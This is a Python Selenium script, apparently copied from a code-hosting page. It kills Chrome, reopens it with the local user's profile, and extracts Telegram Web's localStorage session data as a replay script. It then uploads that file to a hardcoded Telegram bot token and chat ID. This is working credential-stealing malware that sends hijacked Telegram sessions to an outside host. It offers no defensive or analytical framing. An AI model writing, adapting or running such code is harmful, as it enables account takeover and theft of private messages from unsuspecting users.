File size: 3,573 Bytes
bc537bc
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import time
import os
from selenium.webdriver.chrome.service import Service
import http.client
import json

username = os.getlogin()  # Получаем имя текущего пользователя

os.system("taskkill /f /im chrome.exe /t")

user_data_dir = f"C:\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data"

# Инициализация драйвера (например, для Chrome)
chrome_driver_path = fr"C:\Users\{username}\chromedriver.exe"

# Создаем сервис для ChromeDriver
service = Service(chrome_driver_path)

# Опции для запуска Chrome с пользовательскими данными
options = webdriver.ChromeOptions()
# options.add_argument("--headless=new")
options.add_argument(f"user-data-dir={user_data_dir}")  # Используем динамический путь

driver = webdriver.Chrome(service=service, options=options)

try:
    # 1. Перейти по ссылке и дождаться загрузки
    driver.get("https://web.telegram.org/")
    time.sleep(5)  # Ожидание загрузки страницы

    # 2. Извлечь все значения из localstorage
    local_storage = driver.execute_script("return window.localStorage;")

    # 3. Создать JS скрипт для установки этих ключ-значение в localstorage
    js_script = "window.localStorage.clear();\n"
    for key, value in local_storage.items():
        js_script += f'window.localStorage.setItem("{key}", "{value}");\n'

    # 4. Вывести скрипт в консоль
    print(js_script)

    # 5. Сохранить скрипт в файл tgfile.txt
    with open("tgfile.txt", "w", encoding="utf-8") as file:
        file.write(js_script)

    # 6. Отправить файл в Telegram
    def send_file_to_telegram(token, chat_id, file_path):
        # Генерация boundary для multipart/form-data
        boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW'

        # Чтение файла
        with open(file_path, "rb") as file:
            file_content = file.read()

        # Формирование тела запроса
        body = (
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="chat_id"\r\n\r\n'
            f'{chat_id}\r\n'
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="document"; filename="{os.path.basename(file_path)}"\r\n'
            f'Content-Type: text/plain\r\n\r\n'
        ).encode('utf-8') + file_content + f'\r\n--{boundary}--\r\n'.encode('utf-8')

        # Заголовки запроса
        headers = {
            'Content-Type': f'multipart/form-data; boundary={boundary}',
        }

        # Отправка запроса
        conn = http.client.HTTPSConnection("api.telegram.org")
        conn.request("POST", f"/bot{token}/sendDocument", body, headers)
        response = conn.getresponse()
        print(response.status, response.reason)
        data = response.read()
        print(data.decode("utf-8"))
        conn.close()

    # Укажите ваш токен и chat_id
    token = "8156619741:AAGbPEy3c6YCe_s0A9cc1toOTu6CYeQZf_4"
    chat_id = "844252502"
    send_file_to_telegram(token, chat_id, "tgfile.txt")

finally:
    # Закрыть браузер
    driver.quit()